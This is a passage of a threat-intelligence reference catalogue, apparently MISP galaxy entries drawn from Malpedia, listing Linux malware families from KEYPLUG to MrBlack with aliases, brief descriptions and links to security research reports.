https://malpedia.caad.fkie.fraunhofer.de/details/elf.kerberods
https://isc.sans.edu/forums/diary/Vulnerable+Apache+Jenkins+exploited+in+the+wild/24916
https://blog.talosintelligence.com/2019/09/watchbog-patching.html
https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/
https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
https://www.fortinet.com/blog/threat-research/rocke-variant-ready-to-box-mining-challengers.html

KEYPLUG

The tag is: *misp-galaxy:malpedia="KEYPLUG"*

KEYPLUG is also known as:

- ELFSHELF

Table 2528. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.keyplug
https://experience.mandiant.com/trending-evil/p/1

https://www.mandiant.com/resources/mobileiron-log4shell-exploitation
https://hunt.io/blog/keyplug-infrastructure-tls-certificates-ghostwolf-activity
https://www.sentinelone.com/labs/sandman-apt-china-based-adversaries-embrace-lua/
https://go.recordedfuture.com/hubfs/reports/cta-2023-0330.pdf
https://www.mandiant.com/resources/apt41-us-state-governments
https://twitter.com/CyberJack42/status/1501290277864046595
https://web.archive.org/web/20240523105313/https://yoroi.company/en/research/uncovering-an-undetected-keyplug-implant-attacking-industries-in-italy/
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf

kfos

The tag is: *misp-galaxy:malpedia="kfos"*

kfos is also known as:

Table 2529. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kfos
https://twitter.com/r3dbU7z/status/1378564694462586880

Kinsing

The tag is: *misp-galaxy:malpedia="Kinsing"*

Kinsing is also known as:

- h2miner

Table 2530. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kinsing
https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/
https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts
https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775
https://redcanary.com/blog/kinsing-malware-citrix-saltstack/
https://twitter.com/IntezerLabs/status/1259818964848386048
https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/

https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039
https://twitter.com/MsftSecIntel/status/1535417776290111489
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://www.aquasec.com/blog/aqua-cndr-stop-dreambus-botnet-attack/
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/
https://blog.aquasec.com/kinsing-malware-exploits-novel-openfire-vulnerability
https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html
https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/
https://www.cyberark.com/resources/threat-research-blog/kinsing-the-malware-with-two-faces
https://www.aquasec.com/blog/kinsing-malware-exploits-novel-openfire-vulnerability/
https://unit42.paloaltonetworks.com/cve-2020-25213/
https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability
https://1665891.fs1.hubspotusercontent-na1.net/hubfs/1665891/Threat%20reports/AquaSecurity_Kinsing_Demystified_Technical_Guide.pdf
https://www.aquasec.com/blog/loony-tunables-vulnerability-exploited-by-kinsing/
https://www.trendmicro.com/en_us/research/22/i/a-post-exploitation-look-at-coinminers-abusing-weblogic-vulnerab.html
https://www.alibabacloud.com/blog/new-outbreak-of-h2miner-worms-exploiting-redis-rce-detected_595743
https://unit42.paloaltonetworks.com/atoms/moneylibra/
https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html

kitty-socks5

The tag is: *misp-galaxy:malpedia="kitty-socks5"*

kitty-socks5 is also known as:

Table 2531. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kitty_soks5
https://blog.apnic.net/2025/03/13/botnets-never-die/
https://blog.xlab.qianxin.com/large-scale-botnet-airashi/

KIVARS (ELF)

The tag is: *misp-galaxy:malpedia="KIVARS (ELF)"*

KIVARS (ELF) is also known as:

Table 2532. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kivars
https://www.trendmicro.com/en_us/research/16/c/threat-actors-behind-shrouded-crossbow-creates-bifrose-for-unix.html

Kobalos

The tag is: *misp-galaxy:malpedia="Kobalos"*

Kobalos is also known as:

Table 2533. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kobalos
https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf
https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/
https://team-cymru.com/blog/2021/02/05/kobalos-malware-mapping/
https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf

Krasue RAT

The tag is: *misp-galaxy:malpedia="Krasue RAT"*

Krasue RAT is also known as:

Table 2534. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.krasue_rat
https://www.group-ib.com/blog/krasue-rat/

KrustyLoader

ELF x64 Rust downloader first discovered on Ivanti Connect Secure VPN after the exploitation of CVE-2024-21887 and CVE-2023-46805. Downloads Sliver backdoor and deletes itself.

The tag is: *misp-galaxy:malpedia="KrustyLoader"*

KrustyLoader is also known as:

Table 2535. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.krustyloader
https://blog.eclecticiq.com/china-nexus-nation-state-actors-exploit-sap-netweaver-cve-2025-31324-to-target-critical-infrastructures
https://nofix.re/posts/2024-08-03-arti-rust/
https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/dragons-in-thunder/
https://www.synacktiv.com/publications/krustyloader-rust-malware-linked-to-ivanti-connectsecure-compromises
https://nofix.re/posts/2024-11-02-rust-symbs/

KTLVdoor (ELF)

According to Trend Micro, KTLVdoor is a highly obfuscated malware that masquerades as different system utilities, allowing attackers to carry out a variety of tasks including file manipulation, command execution, and remote port scanning.

The tag is: *misp-galaxy:malpedia="KTLVdoor (ELF)"*

KTLVdoor (ELF) is also known as:

Table 2536. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ktlv_door
https://www.trendmicro.com/en_us/research/24/i/earth-lusca-ktlvdoor.html

Kubo Injector

According to the author if this open source project, this is a library for injecting a shared library into a Linux, Windows and MacOS process.

The tag is: *misp-galaxy:malpedia="Kubo Injector"*

Kubo Injector is also known as:

Table 2537. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kubo_injector

https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-exploitation-persistence/

Kuiper (ELF)

The tag is: *misp-galaxy:malpedia="Kuiper (ELF)"*

Kuiper (ELF) is also known as:

Table 2538. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kuiper
https://www.trellix.com/about/newsroom/stories/research/the-evolution-of-the-kuiper-ransomware/

Lady

The tag is: *misp-galaxy:malpedia="Lady"*

Lady is also known as:

Table 2539. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.lady
https://news.drweb.com/news/?i=10140&lng=en

LeetHozer

The tag is: *misp-galaxy:malpedia="LeetHozer"*

LeetHozer is also known as:

Table 2540. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.leethozer
https://blog.netlab.360.com/the-leethozer-botnet-en/

Lightning Framework

The tag is: *misp-galaxy:malpedia="Lightning Framework"*

Lightning Framework is also known as:

Table 2541. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.lightning
https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/

LiLock

The tag is: *misp-galaxy:malpedia="LiLock"*

LiLock is also known as:

- Lilocked
- Lilu

Table 2542. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.lilock
https://fossbytes.com/lilocked-ransomware-infected-linux-servers/
https://id-ransomware.blogspot.com/2019/07/lilu-lilocked-ransomware.html
https://www.bleepingcomputer.com/news/security/lilocked-ransomware-actively-targeting-servers-and-web-sites/

lilyofthevalley

The tag is: *misp-galaxy:malpedia="lilyofthevalley"*

lilyofthevalley is also known as:

Table 2543. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.lilyofthevalley
https://github.com/En14c/LilyOfTheValley

LinkPro

According to Synacktiv, LinkPro targets the GNU/Linux systems and is developed in Golang. It is named after its main module and the corresponding (private) GitHub repository. LinkPro uses eBPF technology, to activate only when receiving a "magic package", and to hide on the compromised system.

The tag is: *misp-galaxy:malpedia="LinkPro"*

LinkPro is also known as:

Table 2544. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.linkpro
https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis
https://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf

Linodas

The tag is: *misp-galaxy:malpedia="Linodas"*

Linodas is also known as:

- DinodasRAT
- XDealer

Table 2545. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.linodas
https://research.checkpoint.com/2024/29676/

LiquorBot

BitDefender tracked the development of a Mirai-inspired botnet, dubbed LiquorBot, which seems to be actively in development and has recently incorporated Monero cryptocurrency mining features. Interestingly, LiquorBot is written in Go (also known as Golang), which offers some programming advantages over traditional C-style code, such as memory safety, garbage collection, structural typing, and even CSP-style concurrency.

The tag is: *misp-galaxy:malpedia="LiquorBot"*

LiquorBot is also known as:

Table 2546. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.liquorbot
https://www.zdnet.com/article/naive-iot-botnet-wastes-its-time-mining-cryptocurrency/
https://labs.bitdefender.com/2020/01/hold-my-beer-mirai-spinoff-named-liquorbot-incorporates-cryptomining/

LittleDaemon

According to ESET Research, LittleDaemon is the first stage deployed on the victim's machine through hijacked updates. It was observed in both DLL and executable versions, both of them 32-bit PEs. The main purpose of LittleDaemon is to communicate with the hijacking node to obtain the

downloader that we call DaemonicLogistics. LittleDaemon does not establish persistence.

The tag is: *misp-galaxy:malpedia="LittleDaemon"*

LittleDaemon is also known as:

Table 2547. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.little_daemon
https://www.welivesecurity.com/en/eset-research/plushdaemon-compromises-network-devices-for-adversary-in-the-middle-attacks/

LockBit (ELF)

The tag is: *misp-galaxy:malpedia="LockBit (ELF)"*

LockBit (ELF) is also known as:

Table 2548. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.lockbit
https://security.packt.com/understanding-lockbit/
https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/
https://medium.com/@lcam/lighting-the-exfiltration-infrastructure-of-a-lockbit-affiliate-and-more-f57fbb7a4e79
https://www.trendmicro.com/en_us/research/25/i/lockbit-5-targets-windows-linux-esxi.html
https://www.crowdstrike.com/blog/better-together-global-attitude-survey-takeaways-2021/
https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/
https://services.google.com/fh/files/misc/m-trends-2025-en.pdf
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://www.ic3.gov/Media/News/2022/220204.pdf
https://www.linkedin.com/pulse/intrusion-insights-straight-from-leaked-operator-chats-ahmad-abdillah-p1ejc?utm_source=share&utm_medium=member_ios&utm_campaign=share_via
https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants
https://analyst1.com/lockbit-takedown-operation-cronos-a-long-awaited-psyops-against-ransomware/
https://securelist.com/crimeware-report-lockbit-switchsymb/110068/
https://www.europol.europa.eu/media-press/newsroom/news/law-enforcement-disrupt-worlds-biggest-ransomware-operation

https://www.washingtonpost.com/business/2024/02/20/lockbit-ransomware-cronos-nca-fbi/
https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf
https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf
https://analyst1.com/ransomware-diaries-volume-3-lockbits-secrets/
https://nationalcrimeagency.gov.uk/news/nca-leads-international-investigation-targeting-worlds-most-harmful-ransomware-group
https://www.bleepingcomputer.com/news/security/lockbit-victim-estimates-cost-of-ransomware-attack-to-be-42-million/
https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/
https://blog.compass-security.com/2022/03/vpn-appliance-forensics/
https://github.com/prodaft/malware-ioc/tree/master/PTI-257
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://analyst1.com/ransomware-diaries-volume-1/
https://socradar.io/lockbit-3-another-upgrade-to-worlds-most-active-ransomware/
https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html

Loerbas

Loader and Cleaner components used in attacks against high-performance computing centers in Europe.

The tag is: *misp-galaxy:malpedia="Loerbas"*

Loerbas is also known as:

Table 2549. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.loerbas
https://atdotde.blogspot.com/2020/05/high-performance-hackers.html
https://www.cadosecurity.com/2020/05/16/1318/
https://twitter.com/nunohaien/status/1261281419483140096

Log Collector

The tag is: *misp-galaxy:malpedia="Log Collector"*

Log Collector is also known as:

Table 2550. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.log_collector
https://blog.netlab.360.com/dacls-the-dual-platform-rat/

Lootwodniw

The tag is: *misp-galaxy:malpedia="Lootwodniw"*

Lootwodniw is also known as:

Table 2551. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.lootwodniw
https://twitter.com/ddash_ct/status/1326887125103616000

Luna

ESXi encrypting ransomware written in Rust.

The tag is: *misp-galaxy:malpedia="Luna"*

Luna is also known as:

Table 2552. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.luna
https://nikhilh-20.github.io/blog/luna_ransomware/
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html

LZRD

According to Akamai, a Mirai variant exploiting GeoVision IoT devices, (possibly CVE-2024-6047 and/or CVE-2024-11120).

The tag is: *misp-galaxy:malpedia="LZRD"*

LZRD is also known as:

Table 2553. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.lzrd	
https://www.akamai.com/blog/security-research/active-exploitation-mirai-geovision-iot-botnet	

Manjusaka (ELF)

Cisco Talos compared this RAT to Cobalt Strike and Sliver. Written in Rust.

The tag is: *misp-galaxy:malpedia="Manjusaka (ELF)"*

Manjusaka (ELF) is also known as:

Table 2554. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.manjusaka
https://github.com/avast/ioc/tree/master/Manjusaka
https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html

MASOL

The tag is: *misp-galaxy:malpedia="MASOL"*

MASOL is also known as:

Table 2555. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.masol
https://censys.com/blog/the-persistent-threat-of-salt-typhoon-tracking-exposures-of-potentially-targeted-devices
https://www.trendmicro.com/en_us/research/24/k/earth-estries.html

Masuta

Masuta is a variant of Mirai that targets IoT devices, primarily routers, using dictionary attacks to target weak credentials. PureMasuta is a variant of Masuta that targets the EDB 38722 D-Link HNAP Bug.

The tag is: *misp-galaxy:malpedia="Masuta"*

Masuta is also known as:

- PureMasuta

Table 2556. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.masuta
https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/
https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7
https://www.virusbulletin.com/virusbulletin/2018/12/vb2018-paper-tracking-mirai-variants/#h2-appendix-sample-sha256-hashes

Matryosh

The tag is: *misp-galaxy:malpedia="Matryosh"*

Matryosh is also known as:

Table 2557. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.matryosh
https://blog.netlab.360.com/matryosh-botnet-is-spreading-en/

Melofee

The tag is: *misp-galaxy:malpedia="Melofee"*

Melofee is also known as:

- Mélofée

Table 2558. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.melofee
https://blog.exatrack.com/melofee/
https://asec.ahnlab.com/en/55785/
https://blog.xlab.qianxin.com/analysis_of_new_melofee_variant_en/
https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/

MESSAGETAP

MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. It is designed to monitor and save SMS traffic from specific phone numbers, IMSI numbers and keywords for subsequent theft.

The tag is: *misp-galaxy:malpedia="MESSAGETAP"*

MESSAGETAP is also known as:

Table 2559. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.messagetap
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought
https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
https://attack.mitre.org/groups/G0096
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

Midrashim

A x64 ELF file infector with non-destructive payload.

The tag is: *misp-galaxy:malpedia="Midrashim"*

Midrashim is also known as:

Table 2560. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.midrashim
https://www.guitmz.com/linux-midrashim-elf-virus/
https://github.com/guitmz/midrashim

MiKey

The tag is: *misp-galaxy:malpedia="MiKey"*

MiKey is also known as:

Table 2561. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mikey
https://securitykitten.github.io/2016/12/14/mikey.html
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-12-14-mikey.md

Mirai (ELF)

Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.

The tag is: *misp-galaxy:malpedia="Mirai (ELF)"*

Mirai (ELF) is also known as:

- Katana

Table 2562. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
https://cybersecurity.att.com/blogs/labs-research/malware-hosting-domain-cyberium-fanning-out-mirai-variants
https://krebsonsecurity.com/2017/12/mirai-iot-botnet-co-authors-plead-guilty/
https://unit42.paloaltonetworks.com/mirai-variant-echobot-resurfaces-with-13-previously-unexploited-vulnerabilities/
http://osint.bambenekconsulting.com/feeds/
https://unit42.paloaltonetworks.com/iot-vulnerabilities-mirai-payloads/
https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/
https://blog.trendmicro.com/trendlabs-security-intelligence/mirai-botnet-exploit-weaponized-to-attack-iot-devices-via-cve-2020-5902/
https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts
https://www.crowdstrike.com/blog/linux-mirai-malware-double-on-stronger-chips/
https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html
https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt
https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093
https://community.riskiq.com/article/d8a78daf
https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039
https://twitter.com/MsftSecIntel/status/1535417776290111489
https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/
https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf

https://www.cisecurity.org/insights/blog/top-10-malware-march-2022

https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html

https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day-en/

https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/

https://www.youtube.com/watch?v=KVJyYTie-Dc

https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf

https://blog.trendmicro.com/trendlabs-security-intelligence/new-mirai-variant-expands-arsenal-exploits-cve-2020-10173/

https://blog.xlab.qianxin.com/mirai-nomi-en/

https://www.bleepingcomputer.com/news/security/mirai-activity-picks-up-once-more-after-publication-of-poc-exploit-code/

https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx

https://deform.co/the-infamous-mirai-trojan-evolves-new-pandora-variant-targets-android-tvs/

https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/

https://www.politie.nl/nieuws/2019/oktober/2/11-servers-botnet-offline.html

https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/

https://blog.netlab.360.com/what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory-en/

https://github.com/jgamblin/Mirai-Source-Code

https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/

https://prod-blog.avira.com/katana-a-new-variant-of-the-mirai-botnet

https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/

https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/

http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/

https://isc.sans.edu/diary/22786

https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/

https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/

https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/

https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/

https://blog.netlab.360.com/new-mirai-variant-with-dga/

https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/

https://exchange.xforce.ibmcloud.com/collection/InfectedNight-Mirai-Variant-With-Massive-Attacks-On-Our-Honeypots-dbea3e9e39b8265e729545fa798e4d18

https://socradar.io/what-you-need-to-know-about-russian-cyber-escalation-in-ukraine/

https://unit42.paloaltonetworks.com/cve-2020-17496/

https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/

https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/

https://www.lacework.com/blog/malware-targeting-latest-f5-vulnerability/

https://www.youtube.com/watch?v=fei0mN7pkvA&t=10s

https://www.fortinet.com/blog/threat-research/multiple-malware-campaigns-target-vmware-vulnerability

https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/

https://cert.gov.ua/article/37139

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot

https://www.cadosecurity.com/technical-analysis-of-the-ddos-attacks-against-ukrainian-websites/

https://unit42.paloaltonetworks.com/new-mirai-variant-mukashi/

https://thehackernews.com/2022/04/hackers-exploiting-spring4shell.html

https://blog.trendmicro.com/trendlabs-security-intelligence/with-mirai-comes-miori-iot-botnet-delivered-via-thinkphp-remote-code-execution-exploit/

https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai

https://www.netscout.com/blog/asert/ddos-attack-campaign-targeting-multiple-organizations-ukraine

https://www.trendmicro.com/en_us/research/22/d/cve-2022-22965-analyzing-the-exploitation-of-spring4shell-vulner.html

https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group

https://unit42.paloaltonetworks.com/cve-2022-22954-vmware-vulnerabilities/

https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf

https://forensicitguy.github.io/extracting-indicators-from-packed-mirai/

https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/

https://www.fortinet.com/blog/threat-research/totolink-vulnerabilities-beastmode-mirai-campaign

https://www.greynoise.io/blog/new-ddos-botnet-discovered
https://www.stratosphereips.org/blog/2019/4/12/analysis-of-a-irc-based-botnet
https://blog.reversinglabs.com/blog/mirai-botnet-continues-to-plague-iot-space
https://synthesis.to/2021/06/30/automating_string_decryption.html

Mokes (ELF)

The tag is: *misp-galaxy:malpedia="Mokes (ELF)"*

Mokes (ELF) is also known as:

Table 2563. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mokes
https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/73503/

Momentum

The tag is: *misp-galaxy:malpedia="Momentum"*

Momentum is also known as:

Table 2564. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.momentum
https://www.trendmicro.com/en_us/research/19/l/ddos-attacks-and-iot-exploits-new-activity-from-momentum-botnet.html

Monti

A ransomware, derived from the leaked Conti source code.

The tag is: *misp-galaxy:malpedia="Monti"*

Monti is also known as:

Table 2565. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.monti
https://www.trendmicro.com/en_us/research/23/h/monti-ransomware-unleashes-a-new-encryptor-for-linux.html

https://resources.prodaft.com/wazawaka-report

MooBot

The tag is: *misp-galaxy:malpedia="MooBot"*

MooBot is also known as:

Table 2566. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot
https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian
https://unit42.paloaltonetworks.com/moobot-d-link-devices/
https://github.com/blackorbird/APT_REPORT/blob/master/APT28/APT28%20the%20long%20hand%20of%20Russian%20interests.pdf
https://www.fortinet.com/blog/threat-research/mirai-based-botnet-moobot-targets-hikvision-vulnerability
https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/
https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b
https://media.defense.gov/2024/Feb/27/2003400753/-1/-1/0/CSA-RUSSIAN-ACTORS-USE-ROUTERS-FACILITATE-CYBER_OPERATIONS.PDF
https://blog.netlab.360.com/ddos-botnet-moobot-en/
https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/

Moose

The tag is: *misp-galaxy:malpedia="Moose"*

Moose is also known as:

Table 2567. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.moose
https://web-assets.esetstatic.com/wls/2015/05/Dissecting-LinuxMoose.pdf
http://gosecure.net/2016/11/02/exposing-the-ego-market-the-cybercrime-performed-by-the-linux-moose-botnet/
https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Paquet-Clouston.pdf
http://www.welivesecurity.com/2015/05/26/moose-router-worm/

http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/

Mozi

Mozi is a IoT botnet, that makes use of P2P for communication and reuses source code of other well-known malware families, including Gafgyt, Mirai, and IoT Reaper.

The tag is: *misp-galaxy:malpedia="Mozi"*

Mozi is also known as:

Table 2568. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mozi
https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/
https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/
https://www.nozominetworks.com/blog/overcoming-the-challenges-of-detecting-p2p-botnets-on-your-network/
https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/
https://blog.centurylink.com/new-mozi-malware-family-quietly-amasses-iot-bots/
https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf
https://www.cloudsek.com/blog/mozi-resurfaces-as-androxgh0st-botnet-unraveling-the-latest-exploitation-wave
https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/
https://www.elastic.co/blog/collecting-and-operationalizing-threat-data-from-the-mozi-botnet
https://www.youtube.com/watch?v=cDFO_MRlg3M
https://blog.netlab.360.com/mozi-another-botnet-using-dht/
https://blog.netlab.360.com/the-mostly-dead-mozi-and-its-lingering-bots/
https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/

MrBlack

MrBlack, first identified in May 2014 by Russian security firm Dr. Web, is a botnet that targets Linux OS and is designed to conduct distributed denial-of-service (DDoS) attacks. In May 2015, Incapsula clients suffered a large-scale DDoS attack which the company attributed to network traffic generated by tens of thousands of small office/home office (SOHO) routers infected with MrBlack. This massive botnet spans over 109 countries, especially in Thailand and Brazil.

MrBlack scans for and infects routers that have not had their default login credentials changed and that allow remote access to HTTP and SSH via port 80 and port 22, respectively. One of the most impacted router brands is Ubiquiti, a U.S.-based firm that provides bulk network hub solutions for

internet service providers to lease to their customers. Once a vulnerable router is compromised and MrBlack is injected into the system, a remote server is contacted and system information from the device is transmitted. This allows the host server to receive commands in order to perform different types of DDoS attacks, download and execute files, and terminate processes.

